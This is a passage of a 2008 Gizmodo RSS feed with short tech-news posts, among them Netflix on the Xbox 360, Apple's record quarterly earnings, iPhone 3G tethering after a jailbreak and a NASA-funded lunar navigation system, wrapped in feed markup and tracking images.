height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2fcc5def2db5573621c1b74bc88e3c61" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2fcc5def2db5573621c1b74bc88e3c61" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=S7bZsc"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=S7bZsc" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=4vc9xJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=4vc9xJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ihZ1hJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ihZ1hJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=UkItSj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=UkItSj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=6KGTij"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=6KGTij" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341998671" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341998671/michael-arrington-wants-help-designing-a-200-open-source-internet-tablet Mon, 21 Jul 2008 19:20:00 EDT Adam Frucci http://gizmodo.com/index.php?op=postcommentfeed&postId=5027519&view=rss&microfeed=true http://gizmodo.com/5027519/michael-arrington-wants-help-designing-a-200-open-source-internet-tablet <![CDATA[ Video of Netflix on the Xbox 360 in Action [NetFlix] ]]> <p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="500" height="319" id="gamevideos6" align="middle"><param name="quality" value="high" /><param name="play" value="true" /><param name="loop" value="true" /><param name="scale" value="showall" /><param name="wmode" value="window" /><param name="devicefont" value="false" /><param name="bgcolor" value="#000000" /><param name="menu" value="true" /><param name="allowScriptAccess" value="sameDomain" /><param name="allowFullScreen" value="true" /><param name="salign" value="" /><param name="movie" value="http://www.gamevideos.com//swf/gamevideos11.swf?embedded=1&amp;fullscreen=1&amp;autoplay=0&amp;src=http://www.gamevideos.com/video/videoListXML%3Fid%3D20263%26ordinal%3D%26adPlay%3Dfalse" /><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><embed src="http://www.gamevideos.com//swf/gamevideos11.swf?embedded=1&amp;fullscreen=1&amp;autoplay=0&amp;src=http://www.gamevideos.com/video/videoListXML%3Fid%3D20263%26ordinal%3D%26adPlay%3Dfalse" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="window" devicefont="false" id="gamevideos6" bgcolor="#000000" name="gamevideos6" menu="true" allowscriptaccess="sameDomain" allowFullScreen="true" type="application/x-shockwave-flash" align="middle" width="500" height="319" /></object>Curious as to just how the Netflix functionality is going to work on the Xbox 360 when it's added this fall? Major Nelson just posted a video of him going through it, showing off just how it's going to work. Essentially, it looks exactly like the interface on the <a href=" http://gizmodo.com/389698/first-netflix-streaming-box-review-100-and-unlimited-downloads">Roku Netflix box</a>. </p> <p>You can't search through the entire Netflix database, instead needing to add movies you want to watch to your instant queue. It's a bit annoying, but as you can add as many movies you want to the queue, not that big a deal. If you own an Xbox 360 and bought a Roku box, however, get that thing to eBay ASAP, as you won't be using it anymore come this fall. [<a href="http://www.xbox360fanboy.com/2008/07/21/video-netflix-on-the-xbox-360-demoed/">Xbox 360 Fanboy</a>]</p></embed> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=00100e132a9baf2d29067abdeb7657f9" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=00100e132a9baf2d29067abdeb7657f9" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=MMNhJ2"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=MMNhJ2" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=og1dcJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=og1dcJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=dPE7oJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=dPE7oJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=JOznqj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=JOznqj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=fv9L5j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=fv9L5j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341989216" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341989216/video-of-netflix-on-the-xbox-360-in-action Mon, 21 Jul 2008 19:00:00 EDT Adam Frucci http://gizmodo.com/index.php?op=postcommentfeed&postId=5027513&view=rss&microfeed=true http://gizmodo.com/5027513/video-of-netflix-on-the-xbox-360-in-action <![CDATA[ Music On Cassette Tape Is Still the Bomb...If You're In Prison [Prison Tapes] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/cassettes.png" style="display:block;" />Los Angeles mail order catalog Pack Central may have found the last untapped pocket of consumers willing to pay retail for their music on physical formats—the cellblocks of our great nation's prisons. And not just any format—turns out, music on cassette is the only way to get tunes that isn't screened out as a potential deadly weapon. Wait, they still sell new music on cassettes?</p> <p>Apparently so. Weezy's "Tha Carter III," Usher's "Here I Stand" and Mariah Carey's "E=MC2" are all among Pack Central's current best selling tapes. If you're man enough to rock the new Mariah Carey on cassette in the slammer, my hat's off to you—I only feel comfortable singling you out from the safe confines of the internet.</p> <p>Anyway, CDs are apparently too easy to splinter into a shiv (for disciplining the dude who laughed at your Mariah tapes), and the company even has to remove the metal screws from their tapes before shipping them out to get by the screeners (you guys make a good point <a href="http://gizmodo.com/5027511/music-on-cassette-tape-is-still-the-bombif-youre-in-prison#viewcomments">below</a>, though—I guess the cassette shivs are not as worrisome). The guy who keeps all those 20-year-old Walkmen in operating condition must be swimming in bartered cigarettes. [<a href="http://www.nytimes.com/reuters/arts/entertainment-jailhouse.html?_r=2&oref=slogin&oref=slogin">NYTimes</a>, image <a href="http://www.tapedeck.org">tapedeck.org</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5ec7f7b55b42c7e65f0eb8abe55b7a9f" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5ec7f7b55b42c7e65f0eb8abe55b7a9f" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=cmdQA8"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=cmdQA8" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=2LBZUJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=2LBZUJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=9t234J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=9t234J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=sEysvj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=sEysvj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=aZ3iPj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=aZ3iPj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341977245" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341977245/music-on-cassette-tape-is-still-the-bombif-youre-in-prison Mon, 21 Jul 2008 18:40:00 EDT John Mahoney http://gizmodo.com/index.php?op=postcommentfeed&postId=5027511&view=rss&microfeed=true http://gizmodo.com/5027511/music-on-cassette-tape-is-still-the-bombif-youre-in-prison <![CDATA[ Microsoft Live Mesh Client For Mac Leaked, Tested [Live Mesh] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/livemeshmacmenu_01.jpg"/>After <a href="http://gizmodo.com/5026441/microsoft-opens-up-more-spots-in-live-mesh-beta-preview">opening up more spots</a> in the technical beta last week, the Live Mesh folks got a bit ahead of themselves and accidentally let leak a pre-release version of the Live Mesh Mac client, which brings file and data syncing, but no remote desktop control yet, to Intel OS X machines. The download link is gone now, but the folks at <a href="http://www.jkontherun.com/2008/07/first-look-at-t.html">jkontherun</a> were able to grab it and put it through its paces and grab some screens. [<a href="http://www.jkontherun.com/2008/07/first-look-at-t.html">jkontherun</a> via <a href="http://www.liveside.net/blogs/main/archive/2008/07/21/mac-client-for-live-mesh-review-and-download.aspx">Liveside</a>]</p> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=8d5c084a4265f6261a860ec4b46044c0"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=8d5c084a4265f6261a860ec4b46044c0"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=8d5c084a4265f6261a860ec4b46044c0" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=Wqd06L"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=Wqd06L" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=KnXJmJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=KnXJmJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=PUB4dJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=PUB4dJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=AIHb1j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=AIHb1j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=LBcKQj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=LBcKQj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341959262" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341959262/microsoft-live-mesh-client-for-mac-leaked-tested Mon, 21 Jul 2008 18:20:42 EDT John Mahoney http://gizmodo.com/index.php?op=postcommentfeed&postId=5027494&view=rss&microfeed=true http://gizmodo.com/5027494/microsoft-live-mesh-client-for-mac-leaked-tested <![CDATA[ GPS-Like System Being Developed For Moon Astronauts [Moon Travel] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/lasois.jpg" align="left" hspace="4" vspace="2" style="display:block;" />When astronauts finally <a href="http://gizmodo.com/5021748/how-the-new-mission-to-the-moon-will-work">get back to the moon</a> sometime between now and 2020, they will have an advantage that their predecessors did not—GPS. Well, it's not technically GPS given the fact that there are no satellites orbiting the moon, but the astronauts may not know the difference. The new system being developed by Ohio State researcher Ron Li will "rely on signals from a set of sensors including lunar beacons, stereo cameras, and orbital imaging sensors" to simulate GPS.</p> <blockquote> <p>Li explained how the system will work: images taken from orbit will combine with images from the surface to create maps of lunar terrain; motion sensors on lunar vehicles and on the astronauts themselves will allow computers to calculate their locations; signals from lunar beacons, the lunar lander, and base stations will give astronauts a picture of their surroundings similar to what drivers see when using a GPS device on Earth. The researchers have named the entire system the Lunar Astronaut Spatial Orientation and Information System (LASOIS)</p> </blockquote> <p>NASA has awarded Li a $1.2 million grant to develop the LASOIS system over the next three years. He hopes that it will help the astronauts explore the lunar surface with a greater degree of confidence and avoid the stress that comes with getting lost. After all, losing your bearings on the moon is a far cry from taking the wrong exit on the highway. [<a href="http://www.physorg.com/news135872367.html">Physorg</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=cc50d53796b5f41d1a9c2030624e63d0" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=cc50d53796b5f41d1a9c2030624e63d0" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=Idk3K8"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=Idk3K8" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=aF2dPJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=aF2dPJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=mB8oZJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=mB8oZJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=kd350j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=kd350j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=cX9prj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=cX9prj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341948558" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341948558/gps+like-system-being-developed-for-moon-astronauts Mon, 21 Jul 2008 18:00:00 EDT Sean Fallon http://gizmodo.com/index.php?op=postcommentfeed&postId=5027477&view=rss&microfeed=true http://gizmodo.com/5027477/gps+like-system-being-developed-for-moon-astronauts <![CDATA[ Apple Earnings: Record Quarter, Steve Promises "Wonderful New Products" This Year [Apple] ]]> <p><img src="http://gizmodo.com/assets/resources/2008/04/Jobs_Number_1.jpg" align="left" hspace="4" vspace="2"/> Last quarter was the best June quarter in Apple's history in both earnings and profits, but the real news is that Steve actually promised new products later this year: “We set a new record for Mac sales, we think we have a real winner with our new iPhone 3G, and we’re busy <strong>finishing several more wonderful new products to launch in the coming months</strong>.” Apple <strong>never</strong> comments on future products in any way, shape or form. Ever ever. Whether he's alleviating <a href="http://www.nypost.com/seven/07212008/business/apple_a_day_talk_120853.htm">investor worries</a> or just feeling especially open, it's a rare, if not totally unheard of Apple move. Check out how much money Apple's bean counters are dealing with and speculate what new toys are on the way below.</p> <blockquote><p>Apple Reports Record Third Quarter Results<br /> Revenue Up 38 Percent Year-Over-Year<br /> Mac Sales Reach All-Time High</p> <p>CUPERTINO, California—July 21, 2008—Apple® today announced financial results for its fiscal 2008 third quarter ended June 28, 2008. The Company posted revenue of $7.46 billion and net quarterly profit of $1.07 billion, or $1.19 per diluted share. These results compare to revenue of $5.41 billion and net quarterly profit of $818 million, or $.92 per diluted share, in the year-ago quarter. Gross margin was 34.8 percent, down from 36.9 percent in the year-ago quarter. International sales accounted for 42 percent of the quarter’s revenue.</p> <p>Apple shipped 2,496,000 Macintosh® computers during the quarter, representing 41 percent unit growth and 43 percent revenue growth over the year-ago quarter. The Company sold 11,011,000 iPods during the quarter, representing 12 percent unit growth and seven percent revenue growth over the year-ago quarter. Quarterly iPhone™ units sold were 717,000 compared to 270,000 in the year-ago-quarter.</p> <p>“We’re proud to report the best June quarter for both revenue and earnings in Apple’s history,” said Steve Jobs, Apple’s CEO. “We set a new record for Mac sales, we think we have a real winner with our new iPhone 3G, and we’re busy finishing several more wonderful new products to launch in the coming months.”</p> <p>“We’re extremely pleased with the growth of our business and the generation of almost $5.4 billion in cash in the first three quarters of fiscal 2008,” said Peter Oppenheimer, Apple’s CFO. “Looking ahead to the fourth quarter of fiscal 2008, we expect revenue of about $7.8 billion and earnings per diluted share of about $1.00.”</p> <p>Apple will provide live streaming of its Q3 2008 financial results conference call utilizing QuickTime®, Apple’s standards-based technology for live and on-demand audio and video streaming. The live webcast will begin at 2:00 p.m. PDT on Monday, July 21, 2008 at www.apple.com/quicktime/qtv/earningsQ308/ and will also be available for replay.</p> <p>This press release contains forward-looking statements including without limitation those about the Company’s estimated revenue and earnings per share. These statements involve risks and uncertainties, and actual results may differ. Risks and uncertainties include without limitation potential litigation from the matters investigated by the special committee of the board of directors and the restatement of the Company’s consolidated financial statements; unfavorable results of other legal proceedings; the effect of competitive and economic factors, and the Company’s reaction to those factors, on consumer and business buying decisions with respect to the Company’s products; war, terrorism, public health issues, and other circumstances that could disrupt supply, delivery, or demand of products; continued competitive pressures in the marketplace; the Company’s reliance on sole service providers for iPhone in certain countries; the continued availability on acceptable terms of certain components and services essential to the Company’s business currently obtained by the Company from sole or limited sources; the ability of the Company to deliver to the marketplace and stimulate customer demand for new programs, products, and technological innovations on a timely basis; the effect that product transitions, changes in product pricing or mix, and/or increases in component costs could have on the Company’s gross margin; the effect that product quality problems could have on the Company’s sales and operating profits; the inventory risk associated with the Company’s need to order or commit to order product components in advance of customer orders; the effect that the Company’s dependency on manufacturing and logistics services provided by third parties may have on the quality, quantity or cost of products manufactured or services rendered; the Company’s dependency on the performance of distributors and other resellers of the Company’s products; the Company’s reliance on the availability of third-party digital content; and the potential impact of a finding that the Company has infringed on the intellectual property rights of others. More information on potential factors that could affect the Company’s financial results is included from time to time in the Company’s public reports filed with the SEC, including the Company’s Form 10-K for the fiscal year ended September 29, 2007; its Forms 10-Q for the quarters ended December 29, 2007 and March 29, 2008; and its Form 10-Q for the quarter ended June 28, 2008, to be filed with the SEC. The Company assumes no obligation to update any forward-looking statements or information, which speak as of their respective dates.</p> <p>Apple ignited the personal computer revolution in the 1970s with the Apple II and reinvented the personal computer in the 1980s with the Macintosh. Today, Apple continues to lead the industry in innovation with its award-winning computers, OS X operating system and iLife and professional applications. Apple is also spearheading the digital media revolution with its iPod portable music and video players and iTunes online store, and has entered the mobile phone market with its revolutionary iPhone. </p> </blockquote> <p> [<A href="http://www.apple.com/pr/library/2008/07/21results.html">Apple</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=1e247b6f4463411f51442138c298875a" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=1e247b6f4463411f51442138c298875a" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=UhEY1N"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=UhEY1N" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=7MZnOJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=7MZnOJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=YkSJbJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=YkSJbJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=zKHyXj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=zKHyXj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=rI9C0j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=rI9C0j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341948559" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341948559/apple-earnings-record-quarter-steve-promises-wonderful-new-products-this-year Mon, 21 Jul 2008 17:46:40 EDT matt buchanan http://gizmodo.com/index.php?op=postcommentfeed&postId=5027498&view=rss&microfeed=true http://gizmodo.com/5027498/apple-earnings-record-quarter-steve-promises-wonderful-new-products-this-year <![CDATA[ Kevlar Body Armor Could Soon Repel Germs [Not Just For Bullets] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/bullet-proof-vest.jpg" align="left" hspace="4" vspace="2" style="display:block;" />If researchers are successful, Kevlar-based armor will soon be able to protect the wearer from more dangers than bullets and fire. Yuyu Sun and Jie Luo of the University of South Dakota have discovered a way to coat Kevlar with a substance called acyclic N-Halamine. After testing it against "E. coli, Staphylococcus aureus, Candida tropicalis (a fungus), MS2 virus, and Bacillus subtilis spores (to mimic anthrax)," they discovered that the coating prevented these microorganisms from sticking to the Kevlar fabric.</p> <p>The idea of making <a href="http://gizmodo.com/gadgets/nanoparticles/glitterati-10000-clothing-with-palladium-and-silver-nanoparticles-destroys-viruses-germs-and-smog-257887.php">fabrics germ-resistant</a> is nothing new, but it is obvious that applying this technology to Kevlar products has more practical applications than simply servicing the world's hypochondriacs. Further tests are needed, but so far Kevlar and acyclic N-Halamine seem to be getting along quite nicely. [<a href="http://www.livescience.com/technology/080720-kevlar-coating.html">LiveScience</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=7ba37d0baf09ae402e2b1b0c0211c6e4" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=7ba37d0baf09ae402e2b1b0c0211c6e4" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=WdBOn3"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=WdBOn3" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=GaFqZJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=GaFqZJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=w7PhpJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=w7PhpJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Sk5YQj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Sk5YQj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Cm7Jyj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Cm7Jyj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341934145" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341934145/kevlar-body-armor-could-soon-repel-germs Mon, 21 Jul 2008 17:40:00 EDT Sean Fallon http://gizmodo.com/index.php?op=postcommentfeed&postId=5027434&view=rss&microfeed=true http://gizmodo.com/5027434/kevlar-body-armor-could-soon-repel-germs <![CDATA[ How to Tether Your iPhone 3G to Your Laptop [IPhone 3G] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/iphone-tether-head.png" style="display:block;" />While Apple doesn't allow tethering with the iPhone 3G, if <a href="http://gizmodo.com/5027016/iphone-pwnage-tool-20-now-available-jailbreak-and-unlock">it's jailbroken</a>, they can't tell you what to do, can they? After it's jailbroken, getting your tether on is surprisingly easy. All you need is a pair of programs, 3proxy and MobileTerminal. Create an ad-hoc Wi-Fi network with your notebook, join it with your iPhone, perform a bit of beginner's voodoo with MobileTerminal and your browser, and voila, you're cruising on AT&T's 3G network on your laptop via your iPhone. It really is easy, but be careful, if AT&T notices your data usage is wonky, they will probably rape you with massive fees. Good luck, and Godspeed. [<a href="http://cre.ations.net/blog/post/how-to-tether-your-iphone-3g-and-browse-the-web-using-your-3g-co">Cre.ations.net</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=3d0ebb777f5ef49efc0817e662035af1" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=3d0ebb777f5ef49efc0817e662035af1" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=3SNisK"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=3SNisK" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=64WmTJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=64WmTJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=o0YFlJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=o0YFlJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=5vaIVj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=5vaIVj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Q5hFXj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Q5hFXj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341910632" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341910632/how-to-tether-your-iphone-3g-to-your-laptop Mon, 21 Jul 2008 17:20:00 EDT matt buchanan http://gizmodo.com/index.php?op=postcommentfeed&postId=5027420&view=rss&microfeed=true http://gizmodo.com/5027420/how-to-tether-your-iphone-3g-to-your-laptop <![CDATA[ SunNight Solar Giving Away 500 Solar Flashlights [Free Stuff] ]]> <p><img alt="solarflashlights.jpg" src="http://gizmodo.com/assets/resources/2008/07/solarflashlights.jpg" width="164" height="424" align="left" hspace="4" vspace="2" />Mark Bent, owner of SunNight Solar, is giving away 500 of his company's solar flashlights (no Polish jokes, please). This isn't a simple first-come first-served deal, however; you need to justify why you deserve one. People who work in emergency services or the media (ahem) get first dibs (as do Al Gore and Angelina Jolie for some reason), but I bet if you're creative you can talk your way into a free flashlight as well. Tell 'em Giz sent ya. Shoot them an email at <a href="info@sunnightsolar.com">info@sunnightsolar.com</a> with your reasoning and they'll let you know whether or not you made the cut. Tip: don't just say you like free stuff, ya jackass. [<a href="http://www.sunnightsolar.com/blog/">SunLight Solar</a> via <a href="http://www.bookofjoe.com/2008/07/free-solar-powe.html">Book of Joe</a>]</p> <br style="clear: both;"/> <a href="http://www.pheedo.com/feeds/ht.php?t=c&amp;i=0b0b5035e1f0624b3cdf7c26c83d5ebf"><img src="http://www.pheedo.com/feeds/ht.php?t=v&amp;i=0b0b5035e1f0624b3cdf7c26c83d5ebf" border="0" /></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=0b0b5035e1f0624b3cdf7c26c83d5ebf" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=rKz0SL"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=rKz0SL" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=gSz3lJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=gSz3lJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=R5ucJJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=R5ucJJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=epFoPj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=epFoPj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=mVTTZj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=mVTTZj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341902820" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341902820/sunnight-solar-giving-away-500-solar-flashlights Mon, 21 Jul 2008 17:11:10 EDT Adam Frucci http://gizmodo.com/index.php?op=postcommentfeed&postId=5027482&view=rss&microfeed=true http://gizmodo.com/5027482/sunnight-solar-giving-away-500-solar-flashlights <![CDATA[ Even on EDGE, Mobile Safari 2.0 Is Much Faster [Mobile Safari] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/safari.jpg" align="left" hspace="4" vspace="2"/>The iPhone 2.0 software might be shakier than a true believer's legs in the presence of Steve himself, but there's at least one benefit (besides the app goodness): Mobile Safari 2.0 is much zoomier. John Gruber ran the benchmarks, comparing them against historical ones, and found that it runs <em>at least</em> 1.7 times faster than before, if not faster (depending on the test). Check out all the numbers over there, if you care about the details, and not just the zip zip away. [<a href="http://daringfireball.net/2008/07/webkit_performance_iphone">Daring Fireball</a> via <a href="http://arstechnica.com/journals/apple.ars/2008/07/21/mobile-safari-speed-improvements-more-than-a-feeling">Ars</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=3afef9ddfe8be403c14d614822643fce" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=3afef9ddfe8be403c14d614822643fce" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=DJ2AQz"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=DJ2AQz" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=YHiN1J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=YHiN1J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XRNyFJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XRNyFJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=c5rwgj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=c5rwgj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=WLcMoj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=WLcMoj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/341902821" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/341902821/even-on-edge-mobile-safari-20-is-much-faster Mon, 21 Jul 2008 17:00:00 EDT matt buchanan http://gizmodo.com/index.php?op=postcommentfeed&postId=5027408&view=rss&microfeed=true http://gizmodo.com/5027408/even-on-edge-mobile-safari-20-is-much-faster <![CDATA[ Nokia Responds to Batphone Allegations [Batphone] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/bat_car_phone.jpg" align="left" hspace="4" vspace="2" style="display:block;" />Remember the fancy cellphone in The Dark Knight? It was that touchscreen Nokia that Morgan Freeman was carrying around all like, "Look at me, I'm so cool, I'm Batman's boss as well as the narrator behind many popular films." Some people (OK, CrunchGear) think that it might be the <a href="http://gizmodo.com/377655/first-pictures-of-nokia-tube-iphone-killer-allegedly">Nokia 